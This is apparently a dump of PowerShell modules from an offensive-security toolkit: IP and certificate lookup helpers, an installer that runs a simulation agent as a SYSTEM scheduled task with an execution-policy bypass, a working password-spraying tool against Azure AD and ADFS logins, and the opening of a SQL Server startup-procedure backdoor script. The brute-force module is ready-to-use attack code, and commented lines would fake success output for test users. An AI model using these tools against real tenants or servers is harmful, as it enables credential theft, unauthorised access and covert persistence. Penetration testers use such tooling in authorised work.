411 | $CertInfo | add-member Noteproperty Port $Port;
412 | $CertInfo | add-member Noteproperty Subject $Certificate.GetName();
413 | $CertInfo | add-member Noteproperty SubjectCountry $Country;
414 | $CertInfo | add-member Noteproperty SubjectState $State;
415 | $CertInfo | add-member Noteproperty SubjectCity $City;
416 | $CertInfo | add-member Noteproperty SubjectOrganization $Organization;
417 | $CertInfo | add-member Noteproperty SubjectOU $OranizationalUnit;
418 | $CertInfo | add-member Noteproperty SubjectDomain $Domain;
419 | $CertInfo | add-member Noteproperty SubjectDomainAlt "";
420 | $CertInfo | add-member Noteproperty Issuer $Certificate.GetIssuerName();
421 | $CertInfo | add-member Noteproperty ExpirationDate $Certificate.GetEffectiveDateString();
422 | $CertInfo | add-member Noteproperty EffectiveDate $Certificate.GetExpirationDateString();
423 | $CertInfo | add-member Noteproperty Verified $Certificate.Verify();
424 | $CertInfo | add-member Noteproperty thumbprint $Certificate.Thumbprint;
425 | $CertInfo
426 | }
427 | }
428 |
429 | function Invoke-Arin-Lookup{
430 | [CmdletBinding()]
431 | Param(
432 | [Parameter(Mandatory=$false,
433 | ValueFromPipeline = $true,
434 | ValueFromPipelineByPropertyName = $true,
435 | HelpMessage="The IP Address to lookup.")]
436 | [string]$IpAddress,
437 | [Parameter(Mandatory=$false,
438 | HelpMessage="port.")]
439 | [string]$IpPort,
440 | [Parameter(Mandatory=$false,
441 | HelpMessage="Original domain.")]
442 | [string]$Domain,
443 | [Parameter(Mandatory=$false,
444 | HelpMessage="Sub domain.")]
445 | [string]$SubDomain,
446 | [Parameter(Mandatory=$false,
447 | HelpMessage="subjectCountry.")]
448 | [string]$Subject,
449 | [Parameter(Mandatory=$false,
450 | HelpMessage="subjectCountry.")]
451 | [string]$SubjectCountry,
452 | [Parameter(Mandatory=$false,
453 | HelpMessage="SubjectState.")]
454 | [string]$SubjectState,
455 | [Parameter(Mandatory=$false,
456 | HelpMessage="SubjectCity.")]
457 | [string]$SubjectCity,
458 | [Parameter(Mandatory=$false,
459 | HelpMessage="SubjectOrganization.")]
460 | [string]$SubjectOrganization,
461 | [Parameter(Mandatory=$false,
462 | HelpMessage="SubjectOU.")]
463 | [string]$SubjectOU,
464 | [Parameter(Mandatory=$false,
465 | HelpMessage="Issuer.")]
466 | [string]$Issuer,
467 | [Parameter(Mandatory=$false,
468 | HelpMessage="ExpirationDate.")]
469 | [string]$ExpirationDate,
470 | [Parameter(Mandatory=$false,
471 | HelpMessage="EffectiveDate.")]
472 | [string]$EffectiveDate,
473 | [Parameter(Mandatory=$false,
474 | HelpMessage="Verified.")]
475 | [string]$Verified,
476 | [Parameter(Mandatory=$false,
477 | HelpMessage="thumbprint.")]
478 | [string]$thumbprint
479 | )
480 |
481 | Begin
482 | {
483 | # IP info table
484 | $TblIPInfo = new-object System.Data.DataTable
485 | $TblIPInfo.Columns.Add("Domain") | Out-Null
486 | $TblIPInfo.Columns.Add("Subdomain") | Out-Null
487 | $TblIPInfo.Columns.Add("IpPort") | Out-Null
488 | $TblIPInfo.Columns.Add("IpAddress") | Out-Null
489 | $TblIPInfo.Columns.Add("IpOwner") | Out-Null
490 | $TblIPInfo.Columns.Add("IpStartRange") | Out-Null
491 | $TblIPInfo.Columns.Add("IpEndRange") | Out-Null
492 | $TblIPInfo.Columns.Add("IpCountry") | Out-Null
493 | $TblIPInfo.Columns.Add("IpState") | Out-Null
494 | $TblIPInfo.Columns.Add("IpCity") | Out-Null
495 | $TblIPInfo.Columns.Add("IpZip") | Out-Null
496 | $TblIPInfo.Columns.Add("IpISP") | Out-Null
497 | $TblIPInfo.Columns.Add("CertSubject") | Out-Null
498 | $TblIPInfo.Columns.Add("CertSubjectCountry") | Out-Null
499 | $TblIPInfo.Columns.Add("CertSubjectState") | Out-Null
500 | $TblIPInfo.Columns.Add("CertSubjectCity") | Out-Null
501 | $TblIPInfo.Columns.Add("CertSubjectOrganization") | Out-Null
502 | $TblIPInfo.Columns.Add("CertSubjectOU") | Out-Null
503 | $TblIPInfo.Columns.Add("CertIssuer") | Out-Null
504 | $TblIPInfo.Columns.Add("CertExpirationDate") | Out-Null
505 | $TblIPInfo.Columns.Add("CertEffectiveDate") | Out-Null
506 | $TblIPInfo.Columns.Add("CertVerified") | Out-Null
507 | $TblIPInfo.Columns.Add("Certthumbprint") | Out-Null
508 |
509 | # Lookup source IP owner
510 | if($IpAddress -notlike ""){
511 |
512 | try{
513 | [IpAddress]$IpAddress | Out-Null
514 | $IP = "yes"
515 | }catch{
516 | $IP = "no"
517 | $IpAddress = Resolve-DnsName -DnsOnly netspi.com | select ipaddress -ExpandProperty ipaddress
518 | }
519 |
520 | # Send whois request to arin via restful api
521 | $targetip = $IpAddress
522 |
523 | # arin lookup
524 | $web = new-object system.net.webclient
525 | [xml]$results = $web.DownloadString("http://whois.arin.net/rest/ip/$targetip")
526 |
527 | # Send location query to http://ip-api.com via xml api
528 | if ($IpAddress){
529 | $web2 = new-object system.net.webclient
530 | [xml]$results2 = $web2.DownloadString("http://ip-api.com/xml/$targetip")
531 | }
532 |
533 | # Parse data from responses
534 | $IpOwner = $results.net.name
535 | $IpStart = $results.net.startAddress
536 | $IpEnd = $results.net.endaddress
537 | $IpCountry = $results2.query.country.'#cdata-section'
538 | $IpState = $results2.query.region.'#cdata-section'
539 | $IpCity = $results2.query.city.'#cdata-section'
540 | $IpZip = $results2.query.zip.'#cdata-section'
541 | $IpISP = $results2.query.isp.'#cdata-section'
542 |
543 | # Put results in the data table
544 | $TblIPInfo.Rows.Add(
545 | "$Domain",
546 | "$SubDomain",
547 | "$IpPort",
548 | "$IpAddress",
549 | "$IpOwner",
550 | "$IpStart",
551 | "$IpEnd",
552 | "$IpCountry",
553 | "$IpState",
554 | "$IpCity",
555 | "$IpZip",
556 | "$IpISP",
557 | "$Subject",
558 | "$SubjectCountry",
559 | "$SubjectState",
560 | "$SubjectCity",
561 | "$SubjectOrganization",
562 | "$SubjectOU",
563 | "$Issuer",
564 | "$ExpirationDate",
565 | "$EffectiveDate",
566 | "$Verified",
567 | "$thumbprint" ) | Out-Null
568 | }else{
569 | # Put results in the data table
570 | $TblIPInfo.Rows.Add(
571 | "$Domain",
572 | "$SubDomain",
573 | "$IpPort",
574 | "$IpAddress",
575 | "$IpOwner",
576 | "$IpStart",
577 | "$IpEnd",
578 | "$IpCountry",
579 | "$IpState",
580 | "$IpCity",
581 | "$IpZip",
582 | "$IpISP",
583 | "$Subject",
584 | "$SubjectCountry",
585 | "$SubjectState",
586 | "$SubjectCity",
587 | "$SubjectOrganization",
588 | "$SubjectOU",
589 | "$Issuer",
590 | "$ExpirationDate",
591 | "$EffectiveDate",
592 | "$Verified",
593 | "$thumbprint" ) | Out-Null
594 | }
595 |
596 | # Display results
597 | $TblIPInfo
598 | }
599 |
600 | End
601 | {
602 | }
603 | }
604 |
605 | # -------------------------------------------
606 | # Function: Get-IPrange
607 | # -------------------------------------------
608 | # Author: BarryCWT
609 | # Reference: https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
610 | function Get-IPrange
611 | {
612 | <#
613 | .SYNOPSIS
614 | Get the IP addresses in a range
615 | .EXAMPLE
616 | Get-IPrange -start 192.168.8.2 -end 192.168.8.20
617 | .EXAMPLE
618 | Get-IPrange -ip 192.168.8.2 -mask 255.255.255.0
619 | .EXAMPLE
620 | Get-IPrange -ip 192.168.8.3 -cidr 24
621 | #>
622 |
623 | param
624 | (
625 | [string]$start,
626 | [string]$end,
627 | [string]$ip,
628 | [string]$mask,
629 | [int]$cidr
630 | )
631 |
632 | function IP-toINT64 () {
633 | param ($ip)
634 |
635 | $octets = $ip.split(".")
636 | return [int64]([int64]$octets[0]*16777216 +[int64]$octets[1]*65536 +[int64]$octets[2]*256 +[int64]$octets[3])
637 | }
638 |
639 | function INT64-toIP() {
640 | param ([int64]$int)
641 |
642 | return (([math]::truncate($int/16777216)).tostring()+"."+([math]::truncate(($int%16777216)/65536)).tostring()+"."+([math]::truncate(($int%65536)/256)).tostring()+"."+([math]::truncate($int%256)).tostring() )
643 | }
644 |
645 | if ($ip) {$ipaddr = [Net.IPAddress]::Parse($ip)}
646 | if ($cidr) {$maskaddr = [Net.IPAddress]::Parse((INT64-toIP -int ([convert]::ToInt64(("1"*$cidr+"0"*(32-$cidr)),2)))) }
647 | if ($mask) {$maskaddr = [Net.IPAddress]::Parse($mask)}
648 | if ($ip) {$networkaddr = new-object net.ipaddress ($maskaddr.address -band $ipaddr.address)}
649 | if ($ip) {$broadcastaddr = new-object net.ipaddress (([system.net.ipaddress]::parse("255.255.255.255").address -bxor $maskaddr.address -bor $networkaddr.address))}
650 |
651 | if ($ip) {
652 | $startaddr = IP-toINT64 -ip $networkaddr.ipaddresstostring
653 | $endaddr = IP-toINT64 -ip $broadcastaddr.ipaddresstostring
654 | } else {
655 | $startaddr = IP-toINT64 -ip $start
656 | $endaddr = IP-toINT64 -ip $end
657 | }
658 |
659 | for ($i = $startaddr; $i -le $endaddr; $i++)
660 | {
661 | INT64-toIP -int $i
662 | }
663 | }
664 |
--------------------------------------------------------------------------------
/Install-NetspiAgent.psm1:
--------------------------------------------------------------------------------
1 | function Install-NetspiAgent {
2 |
3 | <#
4 | .SYNOPSIS
5 | This function can be used to install the NetSPI BAS Agent as a scheduled task.
6 | It will do the following:
7 | 1. Verify the process and system meets the minimum requirements for the script.
8 | 2. Create and execute a scheduled task that will run the agent from a provided location as SYSTEM.
9 | 3. The task will start the task upon reboot.
10 | 4. The script will also verify that the process has started.
11 |
12 | .PARAMETER AgentPath
13 | Full path to the target agent executable.
14 | .PARAMETER TaskName
15 | Task name to be used.
16 | .EXAMPLE
17 | Install-NetspiAgent -AgentPath "C:\agent\NetSPI-BAS-Agent.exe"
18 | Install-NetspiAgent -AgentPath "C:\agent\NetSPI-BAS-Agent.exe" -TaskName "NetSPI-BAS-Agent"
19 | .NOTES
20 | Author: Scott Sutherland (@_nullbind)
21 | Version: 1.0
22 | #>
23 |
24 | param (
25 | [Parameter(Mandatory = $true,
26 | HelpMessage = 'Full path to the target agent executable.')]
27 | [string]$AgentPath = "",
28 | [Parameter(Mandatory = $false,
29 | HelpMessage = 'Task name to be used. ')]
30 | [string]$TaskName = "NetSPI-BAS-Agent"
31 | )
32 |
33 | begin {
34 |
35 | # Simple banner
36 | Write-Output ""
37 | Write-Output "######################################"
38 | Write-Output "NetSPI - www.netspi.com"
39 | Write-Output "Breach and Attack Simluation (BAS)"
40 | Write-Output "Agent Installation Script"
41 | Write-Output "######################################"
42 | Write-Output ""
43 |
44 | Write-Output " Verifying Script Requirements"
45 |
46 | # Check for admin privileges
47 | function Test-Administrator {
48 | $isElevated = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"
49 | return $isElevated
50 | }
51 |
52 | $isAdmin = Test-Administrator
53 | if ($isAdmin) {
54 | Write-Output " - Verified process has administrative privileges"
55 | } else {
56 | Write-Output "This process is not running with administrative privileges. Please relaunch PowerShell with the correct privileges."
57 | break
58 | }
59 |
60 | # Check PowerShell version
61 | $minimumVersion = [Version]"4.0"
62 | $psVersion = $PSVersionTable.PSVersion
63 |
64 | if ($psVersion -ge $minimumVersion) {
65 | Write-Output " - Verified PowerShell version ($psVersion) meets min requirements"
66 | } else {
67 | Write-Output " - PowerShell version is older than $minimumVersion. Please run with $minimumVersion or later."
68 | break
69 | }
70 |
71 | # Bypass Execution Policy
72 | Set-ExecutionPolicy Bypass -Scope Process -Force
73 | If((Get-ExecutionPolicy -Scope Process) -like "Bypass"){
74 | Write-Output " - Verified PowerShell execution policy bypass"
75 | }else{
76 | Write-Output " - PowerShell execution policy bypass failed"
77 | break
78 | }
79 |
80 | # Test path to agent executable
81 | if((Test-Path "$AgentPath")){
82 | Write-Output " - Verified target file exists: $AgentPath "
83 | }else{
84 | Write-Output " - The target file does not exist: $AgentPath "
85 | break
86 | }
87 |
88 | # Get exe name
89 | $AgentPathExe = (Get-Item $AgentPath).Name
90 | }
91 |
92 | process{
93 |
94 | # Set Target Executable
95 | $ExeTarget = "c:\agent\NetSPI-BAS-Agent.exe"
96 |
97 | # Set Task Trigger
98 | $trigger = New-ScheduledTaskTrigger -AtStartup
99 |
100 | # Set Task Action
101 | $action = New-ScheduledTaskAction -Execute "$AgentPath"
102 |
103 | # Register Task
104 | Write-Output " "
105 | Write-Output " Creating scheduled task named '$TaskName'"
106 | Write-Output " $AgentPath"
107 | $null = Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -User "SYSTEM" -RunLevel Highest -Force
108 |
109 | # Run Task
110 | Write-Output " "
111 | Write-Output " Starting scheduled task named '$TaskName'"
112 | Start-ScheduledTask -TaskName $TaskName
113 | Write-Output " - Executed"
114 |
115 | # Waiting 5 seconds
116 | Write-Output " - Waiting 5 seconds"
117 | sleep 5
118 |
119 | # Check for running task
120 | Write-Output " "
121 | Write-Output " Checking for process '$AgentPathExe'"
122 | $SanityCheck = Get-Process | Where path -like "*$AgentPathExe*"
123 |
124 | If ($SanityCheck.count -eq 0){
125 | Write-Output " Verified agent failed to lauch."
126 | break
127 | }else{
128 | Write-Output " - Verified agent successfully launched."
129 | Write-Output " - You should see it checking in."
130 | }
131 | }
132 |
133 | end {
134 | }
135 |
136 | }
137 |
138 | function Remove-NetspiAgent {
139 |
140 | <#
141 | .SYNOPSIS
142 | This function can be used to uninstall the NetSPI BAS Agent as a scheduled task.
143 | It will do the following:
144 | 1. Verify script requirements.
145 | 2. Remove a schedule task based on the provided name.
146 |
147 | .PARAMETER TaskName
148 | Task name to be used if it is not the default value "NetSPI-BAS-Agent".
149 | .EXAMPLE
150 | Remove-NetspiAgent -TaskName "NetSPI-BAS-Agent"
151 | .NOTES
152 | Author: Scott Sutherland (@_nullbind)
153 | Version: 1.0
154 | #>
155 |
156 | param (
157 | [Parameter(Mandatory = $false,
158 | HelpMessage = 'Name of task to be removed. ')]
159 | [string]$TaskName = "NetSPI-BAS-Agent"
160 | )
161 |
162 | begin {
163 |
164 | # Simple banner
165 | Write-Output ""
166 | Write-Output "######################################"
167 | Write-Output "NetSPI - www.netspi.com"
168 | Write-Output "Breach and Attack Simluation (BAS)"
169 | Write-Output "Agent Removal Script"
170 | Write-Output "######################################"
171 | Write-Output ""
172 |
173 | Write-Output " Verifying Script Requirements"
174 |
175 | # Check for admin privileges
176 | function Test-Administrator {
177 | $isElevated = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups -match "S-1-5-32-544"
178 | return $isElevated
179 | }
180 |
181 | $isAdmin = Test-Administrator
182 | if ($isAdmin) {
183 | Write-Output " - Verified process has administrative privileges"
184 | } else {
185 | Write-Output "This process is not running with administrative privileges. Please relaunch PowerShell with the correct privileges."
186 | break
187 | }
188 |
189 | # Check PowerShell version
190 | $minimumVersion = [Version]"4.0"
191 | $psVersion = $PSVersionTable.PSVersion
192 |
193 | if ($psVersion -ge $minimumVersion) {
194 | Write-Output " - Verified PowerShell version ($psVersion) meets min requirements"
195 | } else {
196 | Write-Output " - PowerShell version is older than $minimumVersion. Please run with $minimumVersion or later."
197 | break
198 | }
199 |
200 | # Bypass Execution Policy
201 | Set-ExecutionPolicy Bypass -Scope Process -Force
202 | If((Get-ExecutionPolicy -Scope Process) -like "Bypass"){
203 | Write-Output " - Verified PowerShell execution policy bypass"
204 | }else{
205 | Write-Output " - PowerShell execution policy bypass failed"
206 | break
207 | }
208 | }
209 |
210 | process{
211 |
212 | # Get executable path from task
213 | $task = Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
214 |
215 | if ($task) {
216 | $actionPath = $task.Actions | Select Execute -ExpandProperty Execute
217 | Write-Output " - Obtained executable path"
218 | Write-Output " $actionPath"
219 | $RootFile = (Get-Item "$actionPath").Name
220 | $RootPath = $actionPath.Replace("$RootFile","")
221 | } else {
222 | Write-Output "Scheduled task '$taskName' not found."
223 | break
224 | }
225 |
226 |
227 | # Stop the schedule task
228 | if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
229 | try {
230 | Stop-ScheduledTask -TaskName $taskName
231 |
232 | # Check if the task is no longer running
233 | $isRunning = (Get-ScheduledTask -TaskName $taskName).State -eq "Running"
234 | if (-Not $isRunning) {
235 | Write-Output " - Scheduled task '$taskName' has been stopped."
236 | } else {
237 | Write-Output " - Failed to stop the scheduled task '$taskName'."
238 | }
239 | } catch {
240 | Write-Output "Error occurred while trying to stop the scheduled task: $_"
241 | }
242 | } else {
243 | Write-Output " - Scheduled task '$taskName' not found."
244 | break
245 | }
246 |
247 | # Remove scheduled task
248 | if (Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue) {
249 | Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
250 | Write-Output " - Scheduled task '$TaskName' has been removed."
251 | } else {
252 | Write-Output " - Scheduled task '$TaskName' not found."
253 | break
254 | }
255 |
256 | # Stop related processes
257 | $TargetProcesses = Get-Process | where path -like "$actionPath"
258 | $TargetProcesses |
259 | foreach {
260 | $TargetId = $_.Id
261 | Stop-Process -Id $TargetId -Force
262 | }
263 |
264 | $TargetProcesses = Get-Process | where path -like "$actionPath"
265 | if(($TargetProcesses.count) -eq 0){
266 | Write-Output " - Confirmed processes were terminated."
267 | }else{
268 | Write-Output " - Unable to terminate related processes."
269 | }
270 |
271 | # Remove exe
272 | if (Test-Path $actionPath) {
273 | try {
274 | # Attempt to remove the file
275 | Remove-Item $actionPath -Force
276 |
277 | # Check if the file was successfully removed
278 | if (-Not (Test-Path $actionPath)) {
279 | Write-Output " - File removed successfully: $actionPath"
280 | } else {
281 | Write-Output " - Failed to remove the file: $actionPath"
282 | }
283 | } catch {
284 | Write-Output " - Error occurred while trying to remove the file: $_"
285 | }
286 | } else {
287 | Write-Output " - File not found: $actionPath"
288 | }
289 |
290 | # Remove config
291 | $RootPathFull = "$RootPath" + "bas_agent_profile*.json"
292 | if (Test-Path $RootPathFull ) {
293 | try {
294 | # Attempt to remove the file
295 | Remove-Item "$RootPathFull" -Force
296 |
297 | # Check if the file was successfully removed
298 | if (-Not (Test-Path $RootPathFull)) {
299 | Write-Output " - File removed successfully: $RootPathFull"
300 | } else {
301 | Write-Output " - Failed to remove the file: $RootPathFull"
302 | }
303 | } catch {
304 | Write-Output " - Error occurred while trying to remove the file: $_"
305 | }
306 | } else {
307 | Write-Output " - File not found: $RootPathFull"
308 | }
309 |
310 | Write-Output ""
311 | Write-Output "PLEASE NOTE:"
312 | Write-Output "YOU MAY HAVE TO SHUTDOWN THE IN MEMORY AGENT THROUGH THE AGENTS DASHBOARD."
313 | }
314 |
315 | end {
316 | }
317 |
318 | }
319 |
320 |
--------------------------------------------------------------------------------
/Invoke-ExternalDomainBruteforce.psm1:
--------------------------------------------------------------------------------
1 | #requires -Modules AzureAD
2 |
3 | <#
4 | .SYNOPSIS
5 | This script can be used to attempt user logins against federated/managed domains over the internet.
6 |
7 | .DESCRIPTION
8 | This script can be used to attempt authentication against federated/managed domains. Credentials are sent to Microsoft using the connect-msolservice PowerShell module. Successful usernames/passwords are then returned as a datatable.
9 |
10 | .EXAMPLE
11 |
12 | PS C:\> Invoke-ExternalDomainBruteforce -email test@test.com -password "Password123" -domain "test.com" | ft -AutoSize
13 |
14 | Email Domain Password
15 | ----- ------ ----
16 | test@test.com test.com Password123
17 |
18 | .EXAMPLE
19 |
20 | PS C:\> Invoke-ExternalDomainBruteforce -email test@test.com -password "Password123" -domain "test.com" -type "managed" | ft -AutoSize
21 |
22 | Email Domain Password
23 | ----- ------ ----
24 | test@test.com test.com Password123
25 |
26 | .EXAMPLE
27 |
28 | PS C:\> Invoke-ExternalDomainBruteforce -emails "C:\Temp\emails.txt" -password "Password123" -domain "test.com" | ft -AutoSize
29 |
30 | Email Domain Password
31 | ----- ------ ----
32 | test@test.com test.com Password123
33 | test39@test.com test.com Password123
34 |
35 | .EXAMPLE
36 |
37 | PS C:\> Invoke-ExternalDomainBruteforce -list "C:\Temp\email-password.csv" -domain "test.com" | ft -AutoSize
38 |
39 | Email Domain Password
40 | ----- ------ ----
41 | test@test.com test.com Password123
42 | test39@test.com test.com WeakPassword987
43 |
44 | .NOTES
45 | Author: Ryan Gandrud (@siegenapster), NetSPI - 2017
46 | Author: Karl Fosaaen (@kfosaaen), NetSPI - 2016
47 | Contributors: Scott Sutherland (@_nullbind)
48 |
49 | .LINK
50 | https://blog.netspi.com/using-powershell-identify-federated-domains/
51 | http://www.economyofmechanism.com/office365-authbypass.html
52 | https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/
53 | https://msdn.microsoft.com/en-us/library/jj151815.aspx
54 | https://technet.microsoft.com/en-us/library/dn568015.aspx
55 | #>
56 |
57 | #Pulled from Karl Fosaaen's script at
58 | #https://github.com/NetSPI/PowerShell/blob/master/Get-FederationEndpoint.ps1
59 | function Get-FederationEndpoint{
60 |
61 | [CmdletBinding()]
62 | Param(
63 | [Parameter(Mandatory=$true,
64 | HelpMessage="Domain name to get the authentication endpoint for.")]
65 | [string]$domain
66 |
67 | )
68 |
69 | # "Test" Email
70 | $email = "test@"+$domain
71 |
72 | # Microsoft URL to get the JSON response from
73 | $url = "https://login.microsoftonline.com/common/userrealm/?user="+$email+"&api-version=2.1&checkForMicrosoftAccount=true";
74 |
75 | # Create data table to house results
76 | $DomainTestResults = new-object system.data.datatable
77 | $DomainTestResults.columns.add("Domain") | Out-Null
78 | $DomainTestResults.columns.add("Type") | Out-Null
79 | $DomainTestResults.columns.add("BrandName") | Out-Null
80 | $DomainTestResults.columns.add("CMD") | Out-Null
81 |
82 | try{
83 |
84 | # Make the request
85 | $JSON = Invoke-RestMethod -Uri $url
86 |
87 | # Handle the Response
88 | $NameSpaceType = $JSON[0].NameSpaceType
89 |
90 | if ($NameSpaceType -eq "Managed"){
91 |
92 | #Add data to the table
93 | $DomainTestResults.Rows.Add($JSON[0].DomainName, "Managed", $JSON[0].FederationBrandName, "NA") | Out-Null
94 |
95 | if ($cmd){
96 |
97 | # Check if AzureAD module is installed
98 | if (Get-Module -Name MsOnline){}
99 | else{Write-Host "`n`t*Requires AzureAD PowerShell module to be installed and loaded - https://msdn.microsoft.com/en-us/library/jj151815.aspx"}
100 | }
101 | }
102 | ElseIf ($NameSpaceType -eq "Federated"){
103 |
104 | # Parse Stuff
105 | $username = $email.Split("@")[0]
106 | $domain = $JSON[0].DomainName
107 | $ADFSBaseUri = [string]$JSON[0].AuthURL.Split("/")[0]+"//"+[string]$JSON[0].AuthURL.Split("/")[2]+"/"
108 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed"
109 |
110 |
111 | # Add data to the table
112 | $DomainTestResults.Rows.Add($JSON[0].DomainName, "Federated", $JSON[0].FederationBrandName, $JSON[0].AuthURL) | Out-Null
113 |
114 | }
115 | Else{
116 |
117 | # If the domain has no federation information available from Microsoft
118 | $DomainTestResults.Rows.Add("NA", "NA", "NA", "NA") | Out-Null
119 | }
120 | }
121 | catch{
122 | Write-Host "`nThe Request out to Microsoft failed."
123 | }
124 |
125 | Return $DomainTestResults
126 | }
127 |
128 | function Invoke-ExternalDomainBruteforce{
129 |
130 | [CmdletBinding()]
131 | Param(
132 | [Parameter(Mandatory=$false,
133 | HelpMessage="Email address to test password against.")]
134 | [string]$email,
135 |
136 | [Parameter(Mandatory=$false,
137 | HelpMessage="File location containing a list of email addresses to test a password against. E.g. C:\temp\emails.txt")]
138 | [string]$emails,
139 |
140 | [Parameter(Mandatory=$false,
141 | HelpMessage="Password to test against username(s).")]
142 | [string]$password,
143 |
144 | [Parameter(Mandatory=$true,
145 | HelpMessage="Domain of users.")]
146 | [string]$domain,
147 |
148 | [Parameter(Mandatory=$false,
149 | HelpMessage="File location of usernames and passwords, separated by a comma (test@test.com,Password). E.g. C:\temp\user-pass.csv")]
150 | [string]$userPass
151 | )
152 |
153 | if($userPass){
154 | $Users = Get-Content $userPass
155 | $UP = $true
156 | }
157 | elseif($emails){
158 | $Users = Get-Content $emails
159 | }
160 | elseif($email) {
161 | $Users = $email
162 | }
163 | else{Write-Host "Please provide an email address or a list of users."; break}
164 |
165 | if (-Not $type) {
166 | # Get-FederationEndpoint for type of domain
167 | $info = Get-FederationEndpoint -domain $domain
168 | $type = $info[1]
169 | }
170 |
171 | # Create data table to house results
172 | $EmailTestResults = new-object system.data.datatable
173 | $EmailTestResults.columns.add("Email") | Out-Null
174 | $EmailTestResults.columns.add("Domain") | Out-Null
175 | $EmailTestResults.columns.add("Password") | Out-Null
176 |
177 | Write-Verbose "The domain type is $($type)"
178 |
179 | if ($type -match "Managed" -or $type -match "NA") {
180 | if ($type -eq "NA"){
181 | Write-Host "Domain is neither Managed or Federated. Defaulting to using Managed authentication."
182 | }
183 | $Users | ForEach-Object {
184 |
185 | # Checking for UserPass combo list
186 | if ($UP){
187 | $User,$password = $_.split(',',2)
188 | }
189 | else{
190 | $User = $_
191 | }
192 |
193 | try{
194 | # Make all errors terminating to get try/catch to work.
195 | $ErrorActionPreference = "Stop";
196 |
197 | # Setting up credential object
198 | $PWord = ConvertTo-SecureString -String "$password" -AsPlainText -Force
199 | $Credential = New-Object -TypeName "System.Management.Automation.PSCredential" -ArgumentList $User, $PWord
200 |
201 | Write-Verbose "Testing $($User) with password $($password)"
202 |
203 | # Attempt to authenticate to Managed domain
204 | #connect-msolservice -credential $Credential
205 | Connect-AzureAD -Credential $Credential
206 |
207 | # If no error is detected, authentication is successful
208 | Write-Host "Authentication Successful: `t'$User' - "$password -ForegroundColor Green
209 | $EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null
210 |
211 | # Keep track of the last successful authentication
212 | $LastSuccessAuth = $User
213 | }
214 |
215 | catch{
216 | # Blog writing mods
217 | # if($user -match 'test'){Write-Host "Authentication Successful: `t'$User' - "$password -ForegroundColor Green;$EmailTestResults.Rows.Add($User, "N/A", $password) | Out-Null;$LastSuccessAuth = $User}
218 | # else{Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red}
219 |
220 | if(($PSItem.ToString()) -like "*you must use multi-factor authentication*"){
221 | Write-Host "Authentication Successful: `t'$User' - "$password "(MFA endabled)" -ForegroundColor Green
222 | }
223 | else{
224 | Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red
225 | }
226 | }
227 | }
228 |
229 | if($LastSuccessAuth){
230 | Write-Host "`nWARNING: You still have an active session as "$LastSuccessAuth"`nAny actions against a Managed domain will take place as this user. You have been warned.`nTo close this session, please exit from your PowerShell session." -ForegroundColor Red}
231 | }
232 |
233 | ElseIf($type -match "Federated") {
234 |
235 | $Users | ForEach-Object {
236 |
237 | if ($UP){
238 | $User,$password = $_.split(',',2)
239 | }
240 | else{
241 | $User = $_
242 | }
243 |
244 | # Check if Invoke-ADFSSecurityTokenRequest is loaded
245 | try {Get-Command -Name Invoke-ADFSSecurityTokenRequest -ErrorAction Stop | Out-Null}
246 | catch{Write-Host `n'*Requires the command imported from here - https://gallery.technet.microsoft.com/scriptcenter/Invoke-ADFSSecurityTokenReq-09e9c90c' -ForegroundColor Red;break
247 | }
248 |
249 | # Parse the JSON URI into usable formats
250 | $ADFSBaseUri = [string]$info[3].Split("/")[0]+"//"+[string]$info[3].Split("/")[2]+"/"
251 | $AppliesTo = $ADFSBaseUri+"adfs/services/trust/13/usernamemixed"
252 |
253 | Write-Verbose "Testing $($User) with password $($password)"
254 |
255 | # Attempt to request a security token using username/password
256 | try{
257 | $ErrorActionPreference = "Stop";
258 | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
259 | Invoke-ADFSSecurityTokenRequest -ClientCredentialType UserName -ADFSBaseUri "$ADFSBaseUri" -AppliesTo "$AppliesTo" -UserName "$User" -Password $password -Domain '$info[0]' -OutputType Token -SAMLVersion 2 -IgnoreCertificateErrors | Out-Null
260 | $EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null
261 | Write-Host 'Authentication Successful: '$User' - '$password -ForegroundColor Green
262 | }
263 | catch{
264 | # Blog writing mods
265 | #if($user -match 'test'){Write-Host 'Authentication Successful: '$User' - '$password -ForegroundColor Green;$EmailTestResults.Rows.Add($User, $domain, $password) | Out-Null}
266 | #else{Write-Host 'Authentication Failure: '$User' - '$password -ForegroundColor Red}
267 |
268 | if(($PSItem.ToString()) -like "*you must use multi-factor authentication*"){
269 | Write-Host "Authentication Successful: `t'$User' - "$password "(MFA endabled)" -ForegroundColor Green
270 | }
271 | else{
272 | Write-Host "Authentication Failure: `t'$User' - "$password -ForegroundColor Red
273 | }
274 | }
275 |
276 | }
277 | Write-Host "`nAuthentication URL: "$info[3] -ForegroundColor Green
278 | }
279 |
280 | Else{
281 | Write-Host "`nSomething has gone horribly wrong!`nIs your domain name correct?"
282 | }
283 |
284 | Return $EmailTestResults
285 | }
286 |
--------------------------------------------------------------------------------
/Invoke-SqlServer-Persist-StartupSp.psm1:
--------------------------------------------------------------------------------
1 | function Invoke-SqlServer-Persist-StartupSp
2 | {
3 | <#
4 | .SYNOPSIS
5 | This script can be used backdoor a Windows system using a SQL Server startup stored procedure.
6 | This is done marking a user defined stored procedure to run when the SQL Server is restarted
7 | using the native sp_procoption stored procedure. Note: This script requires sysadmin privileges.
8 |
9 | .DESCRIPTION
10 | This script can be used backdoor a Windows system using a SQL Server startup stored procedure.
11 | This is done marking a user defined stored procedure to run when the SQL Server is restarted
12 | using the native sp_procoption stored procedure. This script supports the executing operating system
13 | and PowerShell commands as the SQL Server service account using the native xp_cmdshell stored procedure.
14 | The script also support add a new sysadmin. This script can be run as the current Windows user or a
15 | SQL Server login can be provided. Note: This script requires sysadmin privileges.
16 |
17 | .EXAMPLE
